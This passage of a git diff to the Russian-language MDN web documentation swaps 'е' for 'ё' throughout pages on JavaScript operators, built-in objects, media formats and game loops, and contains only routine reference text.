сайт и его пользователей.</dd> <dt><a href="/en-US/docs/Security/CSP/Default_CSP_restrictions">Default CSP restrictions </a>{{obsolete_inline("15.0")}}</dt> - <dd>Подробности об ограничениях внедренных по умолчанию в CSP.</dd> + <dd>Подробности об ограничениях внедрённых по умолчанию в CSP.</dd> </dl> <h2 id="См._также">См. также</h2> diff --git a/files/ru/conflicting/web/javascript/guide/introduction/index.html b/files/ru/conflicting/web/javascript/guide/introduction/index.html index 4ea20a6196..155240f7d6 100644 --- a/files/ru/conflicting/web/javascript/guide/introduction/index.html +++ b/files/ru/conflicting/web/javascript/guide/introduction/index.html @@ -117,7 +117,7 @@ original_slug: Web/JavaScript/Guide/About <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> содержит справочный материал по языку JavaScript.</li> </ul> -<p>Если вы новичок в JavaScript, то начните с <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Учебника </a><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript</a>. Как только вы усвоили фундаментальные основы, вы можете начать пользоваться <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Справочником JavaScript</a>, чтобы получить больше информации об определенных объектах, выражениях и операторах.</p> +<p>Если вы новичок в JavaScript, то начните с <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Учебника </a><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript</a>. Как только вы усвоили фундаментальные основы, вы можете начать пользоваться <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Справочником JavaScript</a>, чтобы получить больше информации об определённых объектах, выражениях и операторах.</p> <h2 id="Советы_изучающим_JavaScript">Советы изучающим JavaScript</h2> diff --git a/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html index 84bb8a3110..b9e0c98b1c 100644 --- a/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html +++ b/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html @@ -9,7 +9,7 @@ original_slug: Web/JavaScript/Guide/JavaScript_Overview <h3 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">Что такое JavaScript?</h3> -<p>JavaScript это кросс-платформенный, объектно-ориентированный, скриптовый язык. JavaScript - это маленький и легковесный язык; он спроектирован не для создания законченных, полноценных приложений, а для легкого встраивания в другие продукты и приложения, например, в веб браузеры. Внутри основного приложения, JavaScript может соединяться с объектами этого приложения и осуществлять программный контроль над ними.</p> +<p>JavaScript это кросс-платформенный, объектно-ориентированный, скриптовый язык. JavaScript - это маленький и легковесный язык; он спроектирован не для создания законченных, полноценных приложений, а для лёгкого встраивания в другие продукты и приложения, например, в веб браузеры. Внутри основного приложения, JavaScript может соединяться с объектами этого приложения и осуществлять программный контроль над ними.</p> <p>Ядро JavaScript содержит набор базовых объектов, например Array, Date и Math, и набор элементов языка: операторов, управляющих структур, и выражений. Ядро JavaScript может быть расширено для различных целей с помощью дополнений, например:</p> @@ -52,8 +52,8 @@ original_slug: Web/JavaScript/Guide/JavaScript_Overview <td>Типы данных переменных должны быть объявлены (статическая типизация).</td> </tr> <tr> - <td>Не может автоматически записывать на жесткий диск.</td> - <td>Может автоматически записывать на жесткий диск.</td> + <td>Не может автоматически записывать на жёсткий диск.</td> + <td>Может автоматически записывать на жёсткий диск.</td> </tr> </tbody> </table> diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html index 6690f5b5bf..59ad23d271 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -127,7 +127,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler </table> </div> -<p>[1] <a href="https://www.chromestatus.com/features/4811188005240832">Разрешен по умолчанию</a>.</p> +<p>[1] <a href="https://www.chromestatus.com/features/4811188005240832">Разрешён по умолчанию</a>.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html index ffb9a22a3b..ab1bd02ef7 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html @@ -20,7 +20,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype <div>{{js_property_attributes(0, 0, 0)}}</div> <h2 id="Description" name="Description">Описание</h2> -<p>Описание экземпляров регулярных выражений смотрите на странице документации, посвященной объекту {{jsxref("Global_Objects/RegExp", "RegExp")}}. Экземпляры регулярных выражений наследуются от <code>RegExp.prototype</code>. Изменение объекта прототипа распространяется на все экземпляры регулярных выражений.</p> +<p>Описание экземпляров регулярных выражений смотрите на странице документации, посвящённой объекту {{jsxref("Global_Objects/RegExp", "RegExp")}}. Экземпляры регулярных выражений наследуются от <code>RegExp.prototype</code>. Изменение объекта прототипа распространяется на все экземпляры регулярных выражений.</p> <h2 id="Properties" name="Properties">Свойства</h2> <p>Также смотрите <a href="/ru/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties">устаревшие свойства объекта <code>RegExp</code></a></p> diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html index b346bedec9..f0de3d5413 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html @@ -80,7 +80,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/String/prototype <dt>{{jsxref("String.prototype.slice()")}}</dt> <dd>Извлекает часть строки и возвращает новую строку.</dd> <dt>{{jsxref("String.prototype.split()")}}</dt> - <dd>Разбивает объект {{jsxref("Global_Objects/String", "String")}} на массив строк, разделенных указанной строкой на подстроки.</dd> + <dd>Разбивает объект {{jsxref("Global_Objects/String", "String")}} на массив строк, разделённых указанной строкой на подстроки.</dd> <dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt> <dd>Определяет, начинается ли строка символами другой строки.</dd> <dt>{{jsxref("String.prototype.substr()")}}</dt> diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html index f948e738c4..1b946c504b 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html @@ -30,15 +30,15 @@ original_slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype <dl> <dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}</dt> - <dd>Удаление значение по ключу. <code>WeakMap.prototype.has(key)</code> вернет <code>false</code> после.</dd> + <dd>Удаление значение по ключу. <code>WeakMap.prototype.has(key)</code> вернёт <code>false</code> после.</dd> <dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}</dt> <dd>Возвращает значение по ключу, or <code>undefined</code> такового нет.</dd> <dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}</dt> - <dd>Вернет логическое значение, связанное с существованием ключа.</dd> + <dd>Вернёт логическое значение, связанное с существованием ключа.</dd> <dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}</dt> <dd>Устанавливает значение по ключу, после возвращает самого себя.</dd> <dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}</s></dt> - <dd><s class="obsoleteElement">Удаляет все ключи-значения из <code>WeakMap</code> объекта. Заметьте, что это возможно, только есть <code>WeakMap</code>-like объект имеет<code>.clear()</code> метод путем инкапсулирования <code>WeakMap</code> объекта, раннее не имевшего его (смотри пример на странице {{jsxref("WeakMap")}})</s></dd> + <dd><s class="obsoleteElement">Удаляет все ключи-значения из <code>WeakMap</code> объекта. Заметьте, что это возможно, только есть <code>WeakMap</code>-like объект имеет<code>.clear()</code> метод путём инкапсулирования <code>WeakMap</code> объекта, раннее не имевшего его (смотри пример на странице {{jsxref("WeakMap")}})</s></dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html b/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html index a08c948525..4f6c0a178f 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html @@ -167,8 +167,8 @@ original_slug: Web/JavaScript/Reference/Operators/Операторы_сравн <ul> <li>При сравнении числа <code>(Number)</code> и строки <code>(String)</code>, JavaScript пытается преобразовать числовой литерал строки в число. Затем полученное число округляется до ближайшего возможного значения типа <code>Number</code>.</li> <li>Если один из операндов является логическим <code>(Boolean)</code>, то он преобразуется в значение типа <code>(Number)</code>. <strong>Если значение логического операнда равняется истине <code>(true)</code>, то значение этого операнда преобразуется в 1. Иначе - в 0 <code>(ложь / false)</code>.</strong></li> - <li>Если объект сравнивается с числом или строкой, JavaScript пытается получить значение по умолчанию для данного объекта. Полученное значение преобразуется в примитив, посредством методов <strong><code>valueOf()</code></strong> и <strong><code>toString()</code></strong>. Если преобразовать объект не удается, генерируется ошибка времени выполнения.</li> - <li>Обратите внимание на то, что объект преобразуется в примитив, если, и только если, второй операнд является примитивом. В ином случае, операнды сравниваются как объекты, соответственно, операция сравнения вернет истину в том случае, если внутренние ссылки обоих объектов ссылаются на один и тот же объект в памяти.</li> + <li>Если объект сравнивается с числом или строкой, JavaScript пытается получить значение по умолчанию для данного объекта. Полученное значение преобразуется в примитив, посредством методов <strong><code>valueOf()</code></strong> и <strong><code>toString()</code></strong>. Если преобразовать объект не удаётся, генерируется ошибка времени выполнения.</li> + <li>Обратите внимание на то, что объект преобразуется в примитив, если, и только если, второй операнд является примитивом. В ином случае, операнды сравниваются как объекты, соответственно, операция сравнения вернёт истину в том случае, если внутренние ссылки обоих объектов ссылаются на один и тот же объект в памяти.</li> </ul> <div class="note"><strong>Внимание:</strong> Объекты String имеют тип Object, а не String. Такие объекты используются редко, так что следующий код может вас сильно удивить.</div> diff --git a/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html b/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html index d95f6175d1..8357e8b85a 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html @@ -80,9 +80,9 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators <h3 id="Signed_32-bit_integers" name="Signed_32-bit_integers">Представление чисел (Signed 32-bit integers)</h3> -<p>Операнды всех битовых операций конвертируются в 32-х битовые целые со знаком представленные в дополнительном коде и с использованием порядка битов от "старшего к младшему". Порядок битов "от старшего к младшему" означает, что наиболее значимый бит (бит с наибольшим значением) находится слева если 32-х разрядное число представлено в виде горизонтальной линии (шкалы). Представление в дополнительном коде означает, что отрицательное значение числа (например 5 и -5) получается путем инвертирования числа (операция "побитовое НЕ", также известное как "обратный код") и прибавления к нему единицы.</p> +<p>Операнды всех битовых операций конвертируются в 32-х битовые целые со знаком представленные в дополнительном коде и с использованием порядка битов от "старшего к младшему". Порядок битов "от старшего к младшему" означает, что наиболее значимый бит (бит с наибольшим значением) находится слева если 32-х разрядное число представлено в виде горизонтальной линии (шкалы). Представление в дополнительном коде означает, что отрицательное значение числа (например 5 и -5) получается путём инвертирования числа (операция "побитовое НЕ", также известное как "обратный код") и прибавления к нему единицы.</p> -<p>Возьмем, к примеру, число 314. Представим его в двоичном коде:</p> +<p>Возьмём, к примеру, число 314. Представим его в двоичном коде:</p> <pre class="eval">00000000000000000000000100111010 </pre> @@ -96,7 +96,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators <pre class="eval">11111111111111111111111011000110</pre> -<p>Дополнение до 2-х гарантирует нам, что у положительного числа самый левый бит равен 0, в то время как у отрицательного он равен 1. Он зовется <em>знаковым битом</em>.</p> +<p>Дополнение до 2-х гарантирует нам, что у положительного числа самый левый бит равен 0, в то время как у отрицательного он равен 1. Он зовётся <em>знаковым битом</em>.</p> <p><br> Число 0 есть число, у которого во всех битовых позициях записаны нули.</p> @@ -136,7 +136,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators <h3 id="_.28Bitwise_AND.29" name="&_.28Bitwise_AND.29">& (Побитовое AND)</h3> -<p>Производит побитовое И над каждой парой битов. Операция <code>a</code> AND <code>b</code> вернет 1 если только и <code>a</code> и <code>b</code> равны 1. Таблица истинности для этой операции выглядит так:</p> +<p>Производит побитовое И над каждой парой битов. Операция <code>a</code> AND <code>b</code> вернёт 1 если только и <code>a</code> и <code>b</code> равны 1. Таблица истинности для этой операции выглядит так:</p> <table class="standard-table"> <tbody> @@ -176,13 +176,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 14 & 9 (основание 10) = 00000000000000000000000000001000 (осн. 2) = 8 (осн. 10) </pre> -<p>Побитовое AND любого числа x с нулем вернет 0.</p> +<p>Побитовое AND любого числа x с нулём вернёт 0.</p> -<p>Побитовое AND любого числа x с числом -1 вернет х.</p> +<p>Побитовое AND любого числа x с числом -1 вернёт х.</p> <h3 id="_.28Bitwise_OR.29" name="|_.28Bitwise_OR.29">| (Побитовое OR)</h3> -<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Производит побитовое ИЛИ над каждой парой битов. Операция <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code> OR <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code> вернет 1 если <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code> или <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code> равны 1. Таблица истинности для этой операции выглядит так:</p> +<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Производит побитовое ИЛИ над каждой парой битов. Операция <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code> OR <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code> вернёт 1 если <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code> или <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code> равны 1. Таблица истинности для этой операции выглядит так:</p> <table class="standard-table"> <tbody> @@ -222,13 +222,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 14 | 9 (осн. 10) = 00000000000000000000000000001111 (осн. 2) = 15 (осн. 10) </pre> -<p>Побитовое OR любого числа x c нулем вернет x.</p> +<p>Побитовое OR любого числа x c нулём вернёт x.</p> -<p>Побитовое OR любого числа x с числом -1 вернет -1.</p> +<p>Побитовое OR любого числа x с числом -1 вернёт -1.</p> <h3 id=".5E_.28Bitwise_XOR.29" name=".5E_.28Bitwise_XOR.29">^ (Побитовое XOR)</h3> -<p>Производит побитовое XOR над каждой парой битов. Операция <code>a</code> XOR <code>b</code> вернет 1 если <code>a</code> и <code>b</code> различны. Таблица истинности для этой операции выглядит так:</p> +<p>Производит побитовое XOR над каждой парой битов. Операция <code>a</code> XOR <code>b</code> вернёт 1 если <code>a</code> и <code>b</code> различны. Таблица истинности для этой операции выглядит так:</p> <table class="standard-table"> <tbody> @@ -268,13 +268,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 14 ^ 9 (осн. 10) = 00000000000000000000000000000111 (осн. 2) = 7 (осн. 10) </pre> -<p>Побитовое XOR любого числа x c нулем вернет x.</p> +<p>Побитовое XOR любого числа x c нулём вернёт x.</p> -<p>Побитовое XOR любого числа x c числом -1 вернет ~x.</p> +<p>Побитовое XOR любого числа x c числом -1 вернёт ~x.</p> <h3 id=".7E_.28Bitwise_NOT.29" name=".7E_.28Bitwise_NOT.29">~ (Побитовое NOT)</h3> -<p>Производит операцию NOT над каждым битом. NOT <code>a</code> вернет побитово инвертированное значение (обратный код) операнда. Таблица истинности для этой операции выглядит так:</p> +<p>Производит операцию NOT над каждым битом. NOT <code>a</code> вернёт побитово инвертированное значение (обратный код) операнда. Таблица истинности для этой операции выглядит так:</p> <table class="standard-table"> <tbody> @@ -300,7 +300,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators ~9 (осн. 10) = 11111111111111111111111111110110 (осн. 2) = -10 (осн. 10) </pre> -<p>Побитовое NOT любого числа x вернет -(x + 1). Например, ~5 вернет -6.</p> +<p>Побитовое NOT любого числа x вернёт -(x + 1). Например, ~5 вернёт -6.</p> <h2 id="Bitwise_shift_operators" name="Bitwise_shift_operators">Побитовые операции сдвига</h2> @@ -321,7 +321,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators </pre> -<p>Побитовй сдвиг любого числа <code>x</code> влево на <code>y</code> бит в результате дает <code>x * 2 ** y</code>.</p> +<p>Побитовй сдвиг любого числа <code>x</code> влево на <code>y</code> бит в результате даёт <code>x * 2 ** y</code>.</p> <h3 id=".3E.3E_.28Sign-propagating_right_shift.29" name=".3E.3E_.28Sign-propagating_right_shift.29">>> (Сдвиг вправо с сохранением знака)</h3> @@ -334,7 +334,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 9 >> 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10) </pre> -<p>Аналогично, <code>-9 >> 2</code> даст в результате -3, так как знак сохранен:</p> +<p>Аналогично, <code>-9 >> 2</code> даст в результате -3, так как знак сохранён:</p> <pre class="eval"> -9 (осн. 10): 11111111111111111111111111110111 (осн. 2) -------------------------------- @@ -347,14 +347,14 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators <p>Для положительных чисел, сдвиг вправо с сохранением знака и сдвиг вправо с заполнением нулями эквивалентны.</p> -<p>Например, <code>9 >>> 2</code> дает в результате 2, как и <code>9 >> 2</code>:</p> +<p>Например, <code>9 >>> 2</code> даёт в результате 2, как и <code>9 >> 2</code>:</p> <pre class="eval"> 9 (осн. 10): 00000000000000000000000000001001 (осн. 2) -------------------------------- 9 >>> 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10) </pre> -<p>Важно отметить, что для отрицательных результаты будут разными. Например, <code>-9 >>> 2</code> дает в результате 1073741821, что отличается от результата <code>-9 >> 2</code> (равно -3):</p> +<p>Важно отметить, что для отрицательных результаты будут разными. Например, <code>-9 >>> 2</code> даёт в результате 1073741821, что отличается от результата <code>-9 >> 2</code> (равно -3):</p> <pre class="eval"> -9 (осн. 10): 11111111111111111111111111110111 (осн. 2) -------------------------------- diff --git a/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html b/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html index ee76c80725..b5f93ec4e7 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html @@ -26,13 +26,13 @@ original_slug: Web/JavaScript/Reference/Operators/Логические_опер <tr> <td>Логическое И (&&)</td> <td><code><em>expr1</em> && <em>expr2</em></code></td> - <td>Возвращает значение <code>expr1</code>, если оно может быть преобразовано в false; иначе возвращает значение <code>expr2</code>. Таким образом, при использовании с величинами типа Boolean оператор && вернет true, если оба операнда могут быть преобразованы в true; иначе оператор && вернет false. </td> + <td>Возвращает значение <code>expr1</code>, если оно может быть преобразовано в false; иначе возвращает значение <code>expr2</code>. Таким образом, при использовании с величинами типа Boolean оператор && вернёт true, если оба операнда могут быть преобразованы в true; иначе оператор && вернёт false. </td> </tr> <tr> <td>Логическое ИЛИ (<code>||</code>)</td> <td><code><em>expr1</em> || <em>expr2</em></code></td> <td> - <p>Возвращает значение <code>expr1</code>, если оно может быть преобразовано в true; иначе возвращает значение <code>expr2.</code> Таким образом, при использовании с величинами типа Boolean оператор <code>||</code> вернет <code>true</code> если хоть один из них равен <code>true</code>; в других случаях вернет <code>false</code>.</p> + <p>Возвращает значение <code>expr1</code>, если оно может быть преобразовано в true; иначе возвращает значение <code>expr2.</code> Таким образом, при использовании с величинами типа Boolean оператор <code>||</code> вернёт <code>true</code> если хоть один из них равен <code>true</code>; в других случаях вернёт <code>false</code>.</p> </td> </tr> <tr> diff --git a/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html b/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html index a084333733..98a8d2af79 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html @@ -15,13 +15,13 @@ original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators <h2 id="Описание">Описание</h2> -<p>Основной оператор присваивания - это знак равно (<code>=</code>), он и присваивает значение правого операнда, левому. То есть - <code>x = y</code> присваивает значение переменной <code>y</code>, переменной <code>x</code>. Другие операторы присваивания, как следует из приведенной ниже таблицы с определениями и примерами, являются сокращениями стандартных операций.</p> +<p>Основной оператор присваивания - это знак равно (<code>=</code>), он и присваивает значение правого операнда, левому. То есть - <code>x = y</code> присваивает значение переменной <code>y</code>, переменной <code>x</code>. Другие операторы присваивания, как следует из приведённой ниже таблицы с определениями и примерами, являются сокращениями стандартных операций.</p> <table class="standard-table"> <tbody> <tr> <th>Имя</th> - <th>Сокращенный оператор</th> + <th>Сокращённый оператор</th> <th>Смысл</th> </tr> <tr> @@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators <h2 id="Присваивание">Присваивание</h2> -<p>Простой оператор присваивания, который задает значение переменной. Цепочка операторов присваивания может быть использована для назначения нескольким переменным одного и того же значения. Смотрите пример.</p> +<p>Простой оператор присваивания, который задаёт значение переменной. Цепочка операторов присваивания может быть использована для назначения нескольким переменным одного и того же значения. Смотрите пример.</p> <h4 id="Синтаксис">Синтаксис</h4> @@ -124,7 +124,7 @@ x = y = z // x, y и z все равны 25 // bar = 5 // baz = true -// Результат исполнения каждого нижеприведенного примера +// Результат исполнения каждого нижеприведённого примера // представлен в изоляции от предыдущих примеров (как если // бы значения переменных foo, bar, baz возвращались на // первоначальные) diff --git a/files/ru/conflicting/web/media/formats/index.html b/files/ru/conflicting/web/media/formats/index.html index db671e312e..61a80ea1e4 100644 --- a/files/ru/conflicting/web/media/formats/index.html +++ b/files/ru/conflicting/web/media/formats/index.html @@ -5,7 +5,7 @@ translation_of: Web/Media/Formats translation_of_original: Web/HTML/Supported_media_formats original_slug: Web/HTML/Поддерживаемые_медиа_форматы --- -<p><span class="seoSummary">{{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы предоставляют поддержку для проигрывания аудио и видео медиа без нужды в плагинах. </span>Формат медиафайла состоит из контейнера, содержащего один или несколько потоков данных, закодированных с использованием формата сжатия, называемого кодеком. Контейнер идентифицируется по расширению файла. Потоки внутри контейнера имеют несколько типов, которые могут включать в себя видео, аудио, данные или титры. Один контейнер (т. е. медиафайл) может содержать несколько потоков одного типа. В аудио- и видео- потоках находятся кодеки. Кодек — сокращение слов "кодера-декодер" — является алгоритмом сжатия данных в файле. Каждый тип контейнера имеет только определенные кодеки, которые он поддерживает.</p> +<p><span class="seoSummary">{{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы предоставляют поддержку для проигрывания аудио и видео медиа без нужды в плагинах. </span>Формат медиафайла состоит из контейнера, содержащего один или несколько потоков данных, закодированных с использованием формата сжатия, называемого кодеком. Контейнер идентифицируется по расширению файла. Потоки внутри контейнера имеют несколько типов, которые могут включать в себя видео, аудио, данные или титры. Один контейнер (т. е. медиафайл) может содержать несколько потоков одного типа. В аудио- и видео- потоках находятся кодеки. Кодек — сокращение слов "кодера-декодер" — является алгоритмом сжатия данных в файле. Каждый тип контейнера имеет только определённые кодеки, которые он поддерживает.</p> <p>Важно понять, почему в Интернете нужны разные медиаформаты. По разным причинам, выходящим за рамки данной статьи, различные браузеры поддерживают разные медиаформаты. Кроме того, область медиаформатов в Интернете сильно пострадала от патентного права во многих странах, включая США и страны ЕС. (Примечания к патентам в этой статье предоставляются как есть, так и без каких-либо гарантий.) В этой статье рассматриваются наиболее важные для Интернета форматы, включая поддержку в браузерах как мобильных, так и десктопных .</p> diff --git a/files/ru/games/anatomy/index.html b/files/ru/games/anatomy/index.html index 91949c9ac0..b3022fa527 100644 --- a/files/ru/games/anatomy/index.html +++ b/files/ru/games/anatomy/index.html @@ -18,17 +18,17 @@ original_slug: Games/Анатомия <p>Особенности игр.</p> -<p>Некоторые игры управляют своим циклом при помощи пользовательского ввода. Представьте, что вы разрабатываете игру типа <em>"найди разницу между этими двумя похожими картинками"</em>. Такого рода игры <strong>показывают</strong> пользователю две картинки; они <strong>получают</strong> их клики (или касания); они <strong>преобразуют</strong> ввод в успешный , не успешный, пауза, работа с меню, и так далее; в конечном итоге, в зависимости от данных действий, они <strong>вычисляют</strong> обновленное состояние сцены. Игровой цикл продвигается пользовательскими действиями и "спит" пока таковые отсутствуют. Это пример так называемой пошаговой игры, которая не зависит от постоянного обновления каждого кадра, а только от действий пользователя.</p> +<p>Некоторые игры управляют своим циклом при помощи пользовательского ввода. Представьте, что вы разрабатываете игру типа <em>"найди разницу между этими двумя похожими картинками"</em>. Такого рода игры <strong>показывают</strong> пользователю две картинки; они <strong>получают</strong> их клики (или касания); они <strong>преобразуют</strong> ввод в успешный , не успешный, пауза, работа с меню, и так далее; в конечном итоге, в зависимости от данных действий, они <strong>вычисляют</strong> обновлённое состояние сцены. Игровой цикл продвигается пользовательскими действиями и "спит" пока таковые отсутствуют. Это пример так называемой пошаговой игры, которая не зависит от постоянного обновления каждого кадра, а только от действий пользователя.</p> <p>Другие игры требуют контроля над каждым из минимально возможных индивидуальных временных интервалов. Те же принципы, что и выше, применяются с небольшим изменением: каждый кадр анимации продолжает цикл, и любое изменение пользовательского ввода фиксируется на первом доступном ходе. Эта покадровая модель реализована в так называемом <strong>основном цикле</strong>. Если ваша игра зацикливается на времени, то это будет её полномочия, которые будут соблюдать ваши симуляции.</p> <p>Но покадровое управление может и не понадобиться. Ваш игровой цикл может быть похож на пример <em>поиска отличий</em> и основан на входных событиях. Это может потребовать как ввода, так и симуляции времени. Он может даже зацикливаться на чем-то совершенно другом.</p> -<p>Современный JavaScript, как описано в следующих разделах, к счастью, позволяет легко разработать эффективный основной цикл выполнения один раз в кадр. Конечно, ваша игра будет оптимизирована настолько, насколько вы ее сделаете. Если что-то выглядит так, как будто оно должно быть прикреплено к более редкому исходу, то часто бывает хорошей идеей вырвать его из основного цикла (но не всегда).</p> +<p>Современный JavaScript, как описано в следующих разделах, к счастью, позволяет легко разработать эффективный основной цикл выполнения один раз в кадр. Конечно, ваша игра будет оптимизирована настолько, насколько вы её сделаете. Если что-то выглядит так, как будто оно должно быть прикреплено к более редкому исходу, то часто бывает хорошей идеей вырвать его из основного цикла (но не всегда).</p> <h2 id="Построение_основного_цикла_в_JavaScript">Построение основного цикла в JavaScript </h2> -<p>Лучше всего JavaScript работает с событиями и callback функциями. Современные браузеры стремятся вызывать методы по мере необходимости и бездействовать (или выполнять другие задачи) в промежутках. Привязать код к моменту, который для него подходит — это отличная идея. Подумайте о том, действительно ли ваша функция должна вызываться на строго определенном интервале времени, в каждом кадре или только после того, как произойдет что-то еще. Подумайте о том, действительно ли функцию нужно вызывать в определённом интервале времени, на каждый кадр или только после того, как что-то произойдёт. Больше конкретики с браузером в том, когда функция должна быть вызвана, позволяет ему лучше оптимизировать этот процесс. Так же, вероятно, это облегчит вам работу. </p> +<p>Лучше всего JavaScript работает с событиями и callback функциями. Современные браузеры стремятся вызывать методы по мере необходимости и бездействовать (или выполнять другие задачи) в промежутках. Привязать код к моменту, который для него подходит — это отличная идея. Подумайте о том, действительно ли ваша функция должна вызываться на строго определённом интервале времени, в каждом кадре или только после того, как произойдёт что-то ещё. Подумайте о том, действительно ли функцию нужно вызывать в определённом интервале времени, на каждый кадр или только после того, как что-то произойдёт. Больше конкретики с браузером в том, когда функция должна быть вызвана, позволяет ему лучше оптимизировать этот процесс. Так же, вероятно, это облегчит вам работу. </p> <p>Некоторый код должен выполняться кадр за кадром, так зачем же прикреплять эту функцию к чему-то другому, кроме графика перерисовки браузера? В Web, <code>{{ domxref("window.requestAnimationFrame()") }}</code> будет основой большинства хорошо запрограммированных покадровых основных циклов. Callback функция должна быть передана ему при вызове. Callback функция будет выполнена в подходящее время перед следующей перерисовкой. Вот пример простого основного цикла:</p> @@ -41,26 +41,26 @@ original_slug: Games/Анатомия main(); // Start the cycle</pre> <div class="note"> -<p><strong>Примечание</strong>: В каждом из методов <code>main()</code>, обсуждаемых здесь, мы планируем новый requestAnimationFrame перед выполнением нашего содержимого цикла. Это не случайно и считает лучшей практикой. Ранний вызов следующего <code>requestAnimationFrame </code>гарантирует, что браузер получит его вовремя, чтобы спланировать соответствующим образом, даже если ваш 